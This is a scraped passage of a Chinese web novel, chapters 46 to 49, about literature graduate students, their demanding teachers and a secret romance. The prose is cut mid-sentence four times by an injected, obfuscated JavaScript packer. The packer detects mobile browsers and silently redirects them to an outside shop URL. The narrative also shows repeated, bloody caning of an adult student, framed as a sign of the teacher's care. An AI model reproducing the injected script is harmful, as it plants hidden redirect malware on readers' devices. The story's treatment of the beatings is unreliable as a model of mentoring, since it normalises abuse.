除了这个,庄遂平几乎不能回忆自己的生活,一回溯,就发现里面都是不眠的夜晚和令人不安的思绪,他的现在、未来,已经陷入不由自己控制的混乱,他努力拨开重重迷雾,却仍然只看见白茫茫一片。 “对不起,老师,我没有时间做别的。” “没有时间?”纪慎挑眉,显然不相信,“据我所知,秦老师只让你们周一到周五白天在那里校对,也不盯着你们,你们还是比较自由的。就算在那个办公室里,你全神贯注地做整理词集的工作,那其他时间呢?就不学习了?” 其他时间,也要学习吗?庄遂平想,其他时间,阅冬也许在看金庸的小说,也许约了朋友去吃饭,巍思也许在陪严先生散步,也许来找他们聊天,但这些本该愉快轻松的时光,老师都要求他学习。 该学吗?该学的吧,他这么差,永远也无法让老师满意。 “对不起,老师,我以后会抓紧时间学习的。” “对不起,老师,我以后怎么怎么样,”纪慎明显生气了,“庄遂平你觉得这些话有用吗?你说了多少次?你有一次做到吗?你多大个人了?什么事情都要我在你屁股后面提着戒尺催吗?你能自觉一点吗?” 庄遂平毫不意外地湿了眼眶,从前挨骂,只觉得难受,如今却渐渐明白了,在老师严厉的责骂里,真正让他伤心的是老师的不信任,以及他一点一点被踩碎了的一个成年男子的自尊。 如果当初他能接受自己平凡的命运,听从家人的意见,在县城里的小学安安稳稳当一个老师,也许就永不会有今日的场景。但是他始终不愿意接受,他的内心深处,仍然有着对一份完满的爱的向往,他没有在家里得到那份爱,于是他离开家乡,来到这里,期待着他的老师能给他想要的东西。 但是这些期望,全都破碎了,连同碎掉的,还有他脆弱的心。 他也许这一生,都不配得到爱。 “老师,我知道错了。” “你知道错了?你错在哪里?” 庄遂平在心底冷笑,想,我错在对老师有了错误的期待,错在没有认清自己和这个世界,错在长着么大却还是没有明白世间父母孩子之间的薄情和师生之间的淡漠。 可是这些话,没有一句能出口,他只能说:“我不该只顾着帮秦老师整理词集,却忘了自己的任务,我不该浪费其他时间在别的事情上,耽误自己的学习进度,我不该不重视自己的学习和研究,不该有任何一天把自己的东西撂下。” 认错认得条理清晰,纪慎稍微平静了些,沉声道:“庄遂平,研一就快结束了,刘巍思连毕业论文的文献综述都写完了,你呢?有题目了吗?相关的研究看了吗?框架搭起来了吗?你还要不要毕业?还是想等着刘巍思和柏阅冬都毕业了,你一个人继续留在这里写论文?” 庄遂平心中泛苦,他真的很差吧,差得连毕业都需要老师来担心。 “我知道自己落后别人很多,我后面会努力的。” 看着学生低头认错的样子,纪慎又气又闷,并未得到一点开解,想着他确实在帮秦昭阳干活,又不能太苛责,便放缓了语气,道:“整理文献是很辛苦,我原本想着,你去帮忙,可以锻炼你理解古诗词的能力,你抄文献不能白抄,抄了两卷,那么你读出了什么呢?元好问的词都写什么了?喜欢用什么意象?写词有没有什么偏好?词作呈现什么风格?这些都是很重要的内容,你把握到了吗?” 庄遂平心中一惊,眼睫毛颤抖几下,回答不出来。 他什么也没把握到,什么也没有读出来。 他的心,根本不在学习上。 纪慎光是看他的表情就能猜到答案,一种无力感蔓延全身:“庄遂平,如果你抄了两卷词,却回答不上这些问题,那么再抄下去也是一样的,你不会有进步的。” 是啊,不会有进步的。 纪慎深呼吸,太阳穴突突地跳,都不知道该打他还是该骂他,这个学生像一块顽石,无论怎么指导怎么逼迫,都没有任何改变,简直,没救了。 可是纪慎又不甘心,他不能相信自己竟然教不会一个学生,也不能接受他的学生如此差劲——不管怎么样,他都要再试试。 “你过来。” 又到挨打的时候了,庄遂平再不像从前那样害怕,只是麻木,反正每周都会有这么一回的,也不必害怕什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019968|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄遂平机械地走过去,还不待纪慎交代,就自觉褪了裤子,两手撑在桌面上,身后肉团微微翘起,皮肤上还残留着一两团淡淡的青紫,那是上周留下的。 纪慎拿了戒尺,没有提醒,一连十下抽落,连续的“啪啪”声后,是庄遂平忍痛的闷哼。 十下戒尺,不过将臀尖处打得通红,刚开始而已。 纪慎道:“校对文献,不要图快,文献里面的内容很重要,写了什么,怎么写的,和其他版本有什么不同,这些不同是怎么造成的,这些内容对后世有什么影响,每一个都可以深究,明白吗?” “明白。”庄遂平呆愣愣地应了,两秒后才反应过来,老师是在教他?可是尚未来得及确认,脑子就被身后传来的剧痛占据了,戒尺又“啪啪啪”责落在臀上。 又是十下,伤痕几乎覆盖了整个臀部,纪慎继续道:“校对要细心,不仅要别异同,还要辨是非,但是这对你们来说可能很难,有问题要多去问秦老师,来问我也可以,不要把问题攒着,知道吗?” 庄遂平蓦然湿了眼眶,老师确实在教他,虽然不那么温柔,但老师还是把他当学生的。 “我知道,老师。” “啪啪啪啪啪”,仍是十下,庄遂平的屁股全都红了,盖住了原本的两处青紫,温度也不断上升,像有小火苗烧着。 “你的毕业论文题目要尽早定下来,就算没有题目,也要有一个范围,有题目了就来找我,听到没有?” “是。” 就这样,每打十下,教训几句,从校对文献讲到该怎么写论文,庄遂平一直应着,最后纪慎没话讲了,还泄愤似的全力抽打了二三十下。 这么一场,庄遂平挨了近两百下戒尺,屁股深红透紫,底下泛着血痧,面上渗着血点,疼得背上、头上全是汗,眼眶雾蒙蒙一片,好像随时会落下泪来。 纪慎放好戒尺:“起来,回去。” 庄遂平一怔,好像梦醒了一样——他的老师是最不喜欢他的,他在期盼什么呢? 庄遂平一边小心翼翼地提起裤子,一边想,如果老师打完他,随口安慰几句——哪怕随便几句就好——他就心满意足了,可是,什么也没有。 “老师,”庄遂平穿好裤子,一张脸湿答答的,“我先回去了。” 纪慎头也不抬:“走吧。” 庄遂平抿抿唇,抬脚慢慢转身走了。 纪慎看着学生慢慢走出办公室,心里不知怎么的,竟有些不是滋味。 46.第 46 章 庄遂平走后,纪慎心烦意乱,看不进书,备课也没思路,之前积攒下来的行政工作更是不愿意翻开,来来回回看了几遭办公室,目光最终定格在空荡荡的门口。 庄遂平就是从那里出去的,低着头,走得很慢。 其实他对这个学生真的说不上喜欢,只是收进来了,好歹要教他一点东西,让他好好毕业,否则将来他出去了,到处说自己是纪慎的学生,那可真是丢人现眼了。 可是,回想起他隐忍的模样,还是会有点触动。 罢了,就当去看看他们的校对工作做得怎么样吧!纪慎放下手中的书,起身出去了。 出乎纪慎意料的是,还没到那间办公室门口呢,就听见秦昭阳的斥骂声:“你哭什么哭?这么大个人,哭哭啼啼的,让人家都看你笑话是不是?你现在知道丢脸了,我不盯着你的时候呢?你乱来的时候呢?想到有今天没有?你不自觉,行,我天天在这里陪着你,看!看我干什么?看文献!” 在这毫不留情的斥骂声中,夹杂着微弱的抽泣声。纪慎放轻脚步,走到门边一瞧,果真是秦昭阳站在柏阅冬身旁叉着腰,肩膀一起一伏,明显气坏了。而柏阅冬背对着门口坐着,哭得一抖一抖的。本来柏阅冬人就偏瘦,年纪又小些,穿着白色的短袖衬衫,这么可怜兮兮地啜泣,是个人见了都要舍不得。纪慎叹声气,扬声道:“你们又怎么惹你们秦老师生气了?” 众人一听这声,均是一惊,学生们都站起来问好,姜新宇面带笑容,得体大方,柏阅冬垂着泪,眼眶红红,庄遂平站不稳,还踉跄了一下,有些尴尬。 纪慎笑了一下,让他们都坐,对上庄遂平的目光,也只是淡淡移开,最后走到柏阅冬身边,拍着他的肩膀,道:“闯什么大祸了?让你师父生这么大气,我经过都听见了。” 柏阅冬自然不敢说,秦昭阳也不愿意说那些家长里短的小事,避重就轻道:“这死小孩,我不盯着他就一天到晚偷懒,整个词学思想,搞这么久搞不出来,早上收拾他一顿,在这里哭哭啼啼的给我闹脾气,说他两句他还委屈上了!” 纪慎难得温和地笑笑,道:“你可别嫌弃阅冬了啊!阅冬可是咱们这一届最出色的学生了,之前就是最早发文章的,还在学术会议上发言,多少人都夸他呢!那时候你得脸,现在都忘了?” 姜新宇闻言,也捧场道:“是啊,柏师兄之前在会议上读论文,我们都去听了,大家都说师兄厉害呢!” “那不是?阅冬现在是学弟学妹们的榜样,哪里会偷懒?”纪慎揉揉小孩的脑袋,只觉他头发乌黑柔顺,万分惹人怜爱,“再说了,写文章么,本来就是慢工出细活,你催他做什么?孩子这么大了,你开着门,当着别人的面这样骂他,小心咱们阅冬记恨你了。” 秦昭阳轻哼一声,阴阳怪气道:“我倒指望着他记恨我呢!最好跟我有关系的他都别沾染!” 别人听不懂这话,只当秦昭阳口不择言,但是柏阅冬却明白,顿时又落了一串眼泪。 纪慎心疼得紧,将人稍稍往自己怀里搂了搂,拍拍他的背,道:“别哭别哭,这么大个人了,哭什么?不就是被说了几句么?没什么大不了的,赶紧把眼泪收一收,该整理文献就整理文献,该写文章就写文章,中午去吃顿好的,就什么都过去了。” 柏阅冬抬手抹了眼泪,抽泣道:“我知道了。” 纪慎在这里哄得用力,秦昭阳也不能再骂,只严厉道:“你给我把心思都放在正事上,再有下次,你看我饶不饶你!” 这个下次,可不是不用心学习的下次,是和秦嘉辰见面的下次。 柏阅冬想到他挨打时师父说的那些话,不禁悲从中来。 纪慎见小孩抹了眼泪,开始看书,又露出了欣慰的笑,冲秦昭阳道:“行了,昭阳,你也别逼太紧,咱俩聊聊去?” 坐在办公室右侧的庄遂平眼睛虽盯在文献上,耳朵却一直在听纪慎说话,越听越酸涩——他的老师从来不会这么温和地对他说话,也不会这样耐心地劝他别哭,更不会亲昵地拍他的肩膀,把他搂入怀里。 他的老师对他,疏离的目光中带着淡淡的不满,厌烦的话语中夹着显而易见的嫌弃,落在他身后的责打,永远沉重狠戾。 同一个办公室里,他刚刚挨了打回来,屁股痛到麻木,可他的老师就当着他的面,这样平静从容地哄着阅冬。他知道阅冬有多优秀,知道大家有多喜欢阅冬,可是余光瞥见老师笑着和秦老师离开的背影,他还是生出了一丝怀疑和后悔——他为什么要来帮秦老师校对文献?他为什么要和柏阅冬坐在同一间办公室里? 只是各人的悲欢并不相通。庄遂平悲伤着老师忽视了他,柏阅冬却要烦恼他的师父盯他太紧。他没办法打电话给秦嘉辰,也很难约秦嘉辰见面,只能辗转多人,让庄遂平给刘巍思带话,再让刘巍思去找秦嘉辰,约了一个中午在学校食堂一起吃午饭。 庄遂平和刘巍思都陪着打掩护。人山人海的食堂,四个人却吃出了一种地下党接头的不安感。 “你们有什么话赶紧说,这里人太多了,等下有熟人看到就不好了。”刘巍思提醒道。可柏阅冬和秦嘉辰一见面,哪里顾得上这么多?秦嘉辰哭哭啼啼了好一阵,柏阅冬又是递纸巾又是柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14049693|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声安慰,好容易才劝她平静下来。 “我爸为什么就是不许我们在一起?他不是很喜欢你吗?”秦嘉辰一边擦眼泪一边哭问。 这个问题那天柏阅冬也问了,他师父的回答很简答——你很好,但是你们俩不合适。 “我也不知道师父到底在想什么,但是现在这种情况,我们真的不好再见面了。”柏阅冬道,“他打我就打我,我是怕他真气急了,回家跟你也动手。” 秦嘉辰抽泣两下,似乎有点害怕,她从小没挨过打,对于挨打这种事,还是充满了恐惧的。 可是春心萌动的女孩子,哪里能耐得住寂寞?过了会便追问:“那我们什么时候能见面?” “你暑假不是要去法国吗?先回去准备,到时候我也过去,我们在外面,师父肯定什么也不知道!” “可是,我爸会让你去吗?” “我到意大利再过去,他不知道。” 秦嘉辰只觉胆战心惊,既想和柏阅冬在一起,又不愿意柏阅冬挨打,只好默默祈祷,让她爸爸变笨,什么也发现不了! 刘巍思敲敲碗边:“讲完没有?快点走了!” 秦嘉辰眼里写满了不舍,似乎还有千言万语要说,纠结了好一阵,才道:“那,你们慢慢吃吧,我先走。” 柏阅冬不愿意,一把抓住了她的手,看得刘巍思着急上火,正要开口阻止,却突然听得右边传来一个声音:“好巧啊,你们都在!” 柏阅冬吓得缩回了手,回头一看,竟是郑旭。 一直没说话的庄遂平缓缓开口:“师兄,您怎么来了?” 郑旭笑着看向他:“我来找你的,本来想吃了午饭再去看看你在不在办公室,没想到在这里碰见了。” 庄遂平看看自己面前快空了的饭碗,道:“我去洗碗,师兄等我一会。” “我跟你一块去吧。” 几人跟郑旭道别,回过头,刘巍思拧着眉毛,道:“柏阅冬,不准再牵手,秦嘉辰,你快点走了!” “那,那我真走了。” 看着秦嘉辰一步三回头的,柏阅冬嘴巴撅了起来,快要能挂住一个小壶了,忍不住扭头责怪刘巍思:“你刚刚催什么催?” “你又想被打得屁股开花是不是?早知道不管你了!”刘巍思瞪了他一眼,低头扒饭去了。 “等你自己谈恋爱你就知道了!我看你到时候比我还夸张!” “不可能!我要是有喜欢的女孩子,我老师才不会来棒打鸳鸯!” “你!你不准说这个!” “我就说!你师父也太奇怪了!” 47.第 47 章 “师兄怎么来了?”庄遂平跟着郑旭一路往外走,走到一片草地上,随意盘腿坐在一棵大树底下。 郑旭眼里坦荡荡的,笑道:“来看看你,你最近不是在帮秦老师校对文献吗?” “嗯,已经快抄了三卷了,还没正式开始校呢!”庄遂平没有跟师兄亲密交流的经验,像汇报工作一样。 郑旭拉开书包拉链,掏出一本厚厚的诗集递给他。庄遂平一头雾水,没敢接:“师兄这是什么意思?” “给你参考啊,看看人家怎么做校注的,虽然你还没开始校,但心里可以有个底,别给自己那么大压力。” 这是在关心他吗?庄遂平抿抿唇,就着裤子擦擦手心,才双手接过了书:“谢谢师兄。” 郑旭看着他的小动作,微感心酸,拍拍他的肩膀道:“虽然师兄不在学校,但你也是有老师有师兄的,别什么都一个人埋头做。” 庄遂平一直很羡慕刘巍思,因为他有纪慎的欣赏和偏心、严先生的无限宠爱,还有易师兄的指导和管教。尽管他们都知道易堂生的严苛板正,也常听巍思抱怨,但庄遂平心里,仍然渴望那样的对待。 原本他与郑旭并不熟,可今日郑旭一言,竟让他眼眶蓦然酸了。 “谢谢师兄。” “谢我干啥?说到底,还是老师惦记你。” “啊?”忽然听到老师二字,庄遂平一时愣了,更何况,是和惦记这样的字眼放在一起。 郑旭笑了,道:“咱们老师严是严了的,可能嘴上不饶人,可心里是有你的。前两天打电话给我,说是教训了你一通,让我来瞧瞧你。大概是他说不出什么温柔的话,只好让我来。” 听到这话,庄遂平心中五味杂陈,第一时间便被老师默默的关怀感动到几乎落泪,可过了片刻又想起老师那日在办公室那样安慰阅冬,所谓说不出温柔的话,大概是对自己吧。 关怀是有的,但不多,至少没有对阅冬和巍思的多。 可是,至少是有啊! 郑旭看他渐渐埋下头,忍不住叹息一声,道:“行了,这么大个人,多大点事,老师骂几句就骂几句,过了就过了,别天天放在心上。” 庄遂平抬起头来,眼眶果真微微红了:“可是,不是骂几句。” 郑旭眉头一拧,迷惑了好一会儿,突然笑出了声:“我说老师怎么特地打电话给我,让我来看看你。” 庄遂平被他这笑搞得摸不着头脑,又担心师兄会嘲笑他挨打,一时有些后悔说了那句话。但下一秒,他就听见师兄说出了更令人惊愕的话。 “老师挺喜欢你的吧?” “什么?”这句话简直无法理解。 郑旭满脸笑意,问:“老师是不是打你了?” 庄遂平脸“唰”一下红了,微微低下头,没有说话。 “我们老师虽然严厉,”郑旭解释道,“但轻易不打学生的。跟很多老师喜欢拿着教鞭去上课不一样,老师以前只打过巍思,一是受严老师委托,二是真喜欢他。现在,不打巍思了,改打你了。老师估计也只会打你们两个了。” 庄遂平很难接受这个说法,因为他真的一点也没感觉到老师喜欢自己:“其实,老师也打过阅冬。” “哦,那就你们三个。”郑旭没怎么把人数放在心上,道,“可你想,巍思和阅冬都有自己的师门,只有你是咱们师门的人,不管怎么样,是你和老师一荣俱荣一损俱损啊!” 是这样吗?庄遂平仍然疑惑,可眼中却多了些不易察觉的期盼。郑旭没注意这么多,自顾自道:“哦,不对,应该还有他儿子哈哈哈哈……不知道老师打不打他儿子。” “老师有儿子?” “嗯,住在外面,工作了的,”郑旭卖了个关子,“你以后肯定有机会认识他。” 庄遂平难掩失落:“老师都没跟我说过。” “你也没问过啊是不是?”郑旭总算知道他这个师弟问题在哪里了,搂着他的肩膀道,“遂平,你不能把自己关起来,然后再等着别人来关心你,对你敞开心扉。你想要什么,你期盼什么,你要说出来,说出来,才有机会得到啊!” 可是,如果说出来也得不到呢!而且,说出来真的不会被别人嘲笑吗?说不定,老师听完只会冷笑一声,嫌弃他幼稚,然后指着门口,让他滚出办公室。 “你封闭自己的心,就会感觉不到别人对你的关心和爱,知道吗?” 庄遂平点点头,表示知道了,只是做不做得到,又是另一回事了。 “好了,别这么难过了,有事就给师兄打电话,咱们师门虽然没有严老师他们人多,但你也是有师兄的,知道吗?” “知道了,谢谢师兄。” 虽然很多问题还没有解决,但至少知道老师心里有自己,庄遂平心情好了不少,暗下决心,一定要好好校对,还要尽快把毕业论文题目定下来,把文献综述写出来,做一点成绩出来给老师看。 庄遂平的大师兄安慰了他一顿,刘巍思的大师兄也没闲着,上回听说刘巍思投了一篇文献综述,立马就问严先生要了,回去细细一看,逻辑没有问题,可总担心有什么疏漏,便又去找了些相关的文章和书来看,结果发现有两篇相关的文章刘巍思没提到,不知道他是没找到还是没写进去。 这两篇文章都是发在权威期刊上的,不能当作无名文章一样不提一嘴,大约是小孩子没有注意到这方面。易堂生有点着急,这天晚上便拿着刘巍思的文章和那两本刊物到严先生家里来了。 严先生一个人在家,见大弟子来了,有点奇怪,问:“大晚上的,你怎么跑来了?” 易堂生匆匆进门来:“老师,我找巍思,他人呢?” “他和阅冬玩去了,说是冬冬这些日子不大高兴。” “不像话!”易堂生才不管谁不高兴,文章没写好就投出去了,还准备刊发,这个节骨眼竟然顾着去和别人玩,实在该打!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14080792|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>严先生无奈笑笑:“你这么紧张做什么?他又哪里惹你不高兴了?” 听老师说这话,易堂生颇为尴尬,仿佛他才是师门中那个最不能被冒犯的人,这可太大逆不道了——他上面还有老师呢! 易堂生忙换上笑容,道:“老师言重了,我是看了他的文章,发现里面没有提到两篇相关的研究,想过来和他说一说,加进去,再改一改。” 严先生一听,也严肃了些,伸出手:“你拿来,我瞧瞧。” 易堂生立刻双手递上期刊,帮老师翻到他折好的那一页:“老师您看,这一篇,虽然题目没有提到陶渊明,但是这一部分在论证的时候是用陶渊明举例的,这一段论述还是很重要的。” 严先生认真看了,不住点头:“还是你细心些,这文章很重要,巍思当时可能没有找到。只是,他的文章下个月就要刊了,现在改,还来不来得及?” “老师,不管来不来得及,都得改,不能让这种有纰漏的文章发出去!” “也有道理,那恐怕得撤稿了。” 易堂生十分着急,生怕晚了一天就捅出大篓子,立马道:“我给编辑打电话。” “急什么呀?也得等明天人家上班呀!” 易堂生笑笑:“老师,您忘了,咱们学校学报的编辑是以前跟我一个班的,您还给我们上过课呢,我打个电话到他家,让他明早就给我处理,省得夜长梦多。” 严先生点点头,可又觉得不大对劲:“是不是,得先跟巍思说一声?” “他现在还不知道在哪里疯玩,怎么等得到他?再说了,就算他不同意,也得撤稿!老师您就是太宠着他了,根本就不该由着他这么着急发文章!” 严先生叹声气:“他写好了总不能不让他发,还说我宠着你,你啊,就是对他太严了,他心里头还怨你偏心新宇呢!” “人家新宇多懂事,被他打了也不计较,现在每天踏踏实实在秦老师那里整理校对文献,哪里像他?一天到晚就知道玩!” 严先生摇摇头,心想,他这大弟子,口是心非的毛病,这辈子都改不了了。 易堂生径自去拨了号码,拿起听筒放在耳边,过了会便道:“我是堂生啊!没打扰你吧?我吃了吃了,吃过了,在我老师家里呢!嗨,麻烦你件事儿,咱们学报是不是收到一篇刘巍思的文章,是一篇文献综述,哦对对对,已经排版了?你看能不能给我把这文章撤了?是,是我那个不成器的师弟,这文章写得不好,你给撤了吧!我这也没有文章啊,要不我给你一篇新宇最近写的?” 严先生一直听着,听到这终于咂摸出不对劲来,可易堂生还在说:“就是那个姜新宇呗,还能有哪个?嗯嗯好,谢了啊,你把刘巍思那篇撤下来,我明天亲自把新宇那篇文章给你送去,麻烦了啊!” 看学生挂了电话,严先生正要开口说话,门口却传来轻轻的声响。刘巍思关上门,站在玄关,平静道:“老师,我回来了。” 48.第 48 章 夜已深了,往常这个时候,严先生和刘巍思都已睡下,但今晚师生俩很有默契地没睡,严先生敲开学生的房门,而那孩子就捧着一本书半躺在床上,见老师来,一点也不意外,仿佛特地等着似的。?跟这孩子,严先生也不用说那些“还没睡”之类的话掩饰,径直走到床边坐下,摸摸孩子的脑袋,开门见山:“你这是真要跟大师兄生分了?” 刘巍思嘴角上扬,眼皮却往下垂,本想笑的,却弄出了苦涩的味道,哑声道:“不是我要和他生分的。” 是他为了姜新宇要撤我的文章。 严先生叹声气,道:“这可是你误会了。你大师兄惦记着你那文章,回去又帮你找了资料,发现你有两篇文献没用上,才说要撤的。” 刘巍思低垂的眼眸中似乎有些波动,可还是不能接受:“那是我的文章,他怎么能不经过我同意……” “他是先跟老师说了的,你今晚回来得晚,不怪你大师兄。” “就算要撤我文章,”刘巍思鼻尖一酸,声音也颤抖起来,“也不能、不能说换姜新宇的啊……” 严先生心疼地搂住孩子,不住轻拍他的肩膀:“不打紧的,巍思,新宇那里有好的文章,能发也是好事,你的文章改了还能发,不怕的。明天老师陪你改,啊?” 刘巍思不忍心让老师担心,勉强笑着点了头:“我没事,老师回去睡吧,太晚了。” 到底是带在身边十来年的学生,堪比亲儿子。严先生总是担心刘巍思想太多,不敢留他一个人,便陪着他一句一句把论文改了,就差没手把手带着写字了。 不过只是加两篇文献的事,文章大体不用动,一两天就把事情搞定了。严先生见他还是不大高兴,就赶他出去找同学玩。 刘巍思闷得很,找庄遂平逛校园去了。 天气越来越热,北方完全进入了夏天,一到外头就又干又燥,两个人走了没几步路就快被烤熟了。刘巍思扛不住,拖着庄遂平喝汽水去了。 玻璃罐的橘子汽水酸酸甜甜,解渴又开胃。 跟刘巍思的烦躁不堪不同,今天的庄遂平开朗得有点不像他,甚至在刘巍思递给他汽水的时候,他都没有往常的窘迫和尴尬,只是自然地接了过去。 刘巍思很快察觉了,问:“你最近这么高兴?” 庄遂平惊讶地睁大了眼睛。他当然没觉得自己高兴,只是挠挠头,道:“还好吧。” “觉得你比前段时间好多了,最近有好事?” 好事是没有的,可是庄遂平总觉得压抑的日子里有了些许盼望,这点不明不白的盼望像是乌云背后的一道光,虽然隐隐约约的,可就是叫人忍不住要踮起脚朝那看看太阳是不是在后面。 “没有什么好事,但是我师兄来跟我聊了一会……” “郑师兄?” 庄遂平点点头,随后不好意思地笑了笑:“嗯,我觉得我师兄对我也挺好的,他看我在做校对,就送了我一套书,让我做参考。知道我被老师……他也安慰我了。” 庄遂平真心实意地分享,刘巍思却忍不住笑出了声:“这就叫对你好了?你都不知道我师兄给我……” 话至一半,突然就没了。 庄遂平不知道他最近在跟易堂生闹别扭,还在等着下文,可刘巍思却不想说了。 是,曾经易堂生对他不知多好,送书、买衣服、改论文、带着见人,可是自从姜新宇来了以后,就再也没有了。 现在的易堂生,只是姜新宇一个人的大师兄。 庄遂平嘬了一口汽水,道:“我师兄是不能跟易师兄比,易师兄待你像亲弟弟似的。说回来,我昨天去听他的课,他还说到你了。” 刘巍思轻哼一声,带着些许冷漠:“又说我混账?” “没有啊,他说你有篇文献综述写得好,是写陶渊明的,说如果大家对陶渊明有兴趣,可以去读你那篇文章。”庄遂平头一歪,有些好奇,“你什么时候有这么篇文章?发了吗?” 握着汽水瓶的手紧了紧,刘巍思一时五味杂陈,既有点高兴,又怕庄遂平的转述不够真实,既觉得自己的文章确实写得好,担得起这份夸奖,却还是因为这话是大师兄说的而有些莫名窃喜。 “没呢,”刘巍思声音弱了下去,“还在改,是我毕业论文的绪论。” “改天拿来我瞧瞧,我也学学。” 刘巍思甩开脑袋里那些乱七八糟的念头,笑道:“你跟阅冬在一个寝室里,还用得着学我写文章?” 言下之意,自然是柏阅冬文章写得好了。 只是柏阅冬虽然写得好,最近的心却不在写文章上,连庄遂平都要摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14201011|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“我看阅冬算是不想做学术了,今天早上把秦老师交代给他的文章写了,就立刻说暑假要出国去了。” “真去啊?”刘巍思也有点惊讶,“秦老师能答应?” “阅冬爸妈越洋电话都打过来了,秦老师能不答应?” 刘巍思摇了摇头:“阅冬也是执着,看来这个对象,他是谈定了,不知道以后秦老师怎么收拾他呢!” “那也未必,阅冬人聪明,长得好,家境也不差,说不准秦老师再过一段时间又愿意了。” 两个还没谈过对象的人,谈起别人的对象来,倒是津津有味,不多时就把自己的问题都抛到脑后去了。 刘巍思那文章,改好之后就又给编辑送去了。这文章本就是要刊的,只是得调整到下一期,编辑便让他等一等。 定下来的事情刘巍思不怕等,可也就等了一个星期左右,编辑的电话就打到严先生家里来了。刘巍思接起来,耐心地听编辑说版面的安排。 刘巍思听了好一阵,越听越糊涂:“不是,原来不是排这个位置的呀!” “原来不是,下一期给你调到那里去,这个版面可不差,一般都是留给老师们登文章的,还是头一回给研究生刊呢!” 刘巍思受宠若惊,他这文章好到这种程度了? “要不还是刊原来那个位置吧。” “哈哈哈,”那头笑了两声,“堂生跟我说的时候我还不信,现在可算见识到了。” 刘巍思一愣,易堂生跟人家说什么了? “你大师兄说你傻乎乎的,我看也是,有好位置为什么不刊?要不是你师兄来求我,我还不给呢!行了,小子,我就跟你说一声,过几天就排版了,晚些我再给你寄样刊和稿费,忙着呢,不说了。” 刘巍思都呆了,怔了好一会儿才忙道:“好,您忙。” 电话一挂,刘巍思的魂都不知道跑哪儿去了,脑子里浮现出那夜易堂生在这里打电话说要撤他文章的场景,当时他黑着一张脸,不打招呼,直接就进房里去了,也不知道易堂生什么时候走的。 现下知道大师兄在背后为他做了这么多,那一肚子怒火早就熄了,加上这段时间大师兄都没来,也不知是不是自己的关系,刘巍思心里隐隐地不安起来。 等下次他来,再跟他道个歉吧。 49.第 49 章 刘巍思没有等到大师兄来,却等到了柏阅冬高高兴兴地挥手跟他们说再见。走的那天,柏阅冬拉着他的小皮箱,穿得人模狗样的,头也不回就跑了,不知道的还以为他去会情人呢! 哦,他真是去会情人,再过两天,秦嘉辰就会过去了。 刘巍思和庄遂平相视一眼,心知肚明,谁也没说话,一起回去了。 今日天气顶好,庄遂平的兴致却没那么高,刘巍思忍不住问:“遂平,你有心事吗?” “没,”庄遂平勉强笑了笑,“等会要去见老师。” 唉,遂平每回去见纪老师都得挨打,上周屁股还没好吧,又要去见。刘巍思万分同情他,却不知如何安慰,只得道:“纪老师是看重你。” 之前郑旭也说过类似的话,庄遂平多多少少信了些,今日的心情已是比之前松快了不少,笑着点了点头。 纪慎知道,柏阅冬一走,他们这个项目就相当于放暑假了,但是他居然听到庄遂平说要继续校对。 “一直校对,那你的毕业论文还写不写?” 庄遂平早有准备,面对愠怒的老师,不慌不忙回答道:“做,都做,我只是不想把校对的工作放这么久,到时候再捡起来,又要重新适应。我不会耽误毕业论文的,老师就让我做吧。” 纪慎轻哼一声,似是不满,眼神却蓦然温和了下来:“说说你的选题。” “我还是想继续做吴梅村,但是他的文献不少,我想研究以《圆圆曲》为代表的梅村体。” “可以,但是研究这个,不代表你可以只看这部分文献,跟吴梅村相关的文献,包括他的作品、相关史料、类似的诗人都要看。” “我明白。” 这一回的聊天很平静,纪慎难得地没有生气,待一个上午过去,他才发现,今天庄遂平竟然没什么讨打的言行,倒让人很意外。 其实庄遂平也很惊讶,他每一次说话都要在心里想着“老师看重我”,强压着心底的恐惧陈述自己的看法,不止一次地看向桌边的那柄戒尺,可没想到,老师一直没说要打他。 也许,就像师兄和巍思说的那样,老师真的是看重他的,并不是一味虐打。 到了告别时,庄遂平几乎有些恋恋不舍了,说了两次再见才慢慢退出办公室,门一关上,竟忍不住高兴地跳了起来,像个小孩。 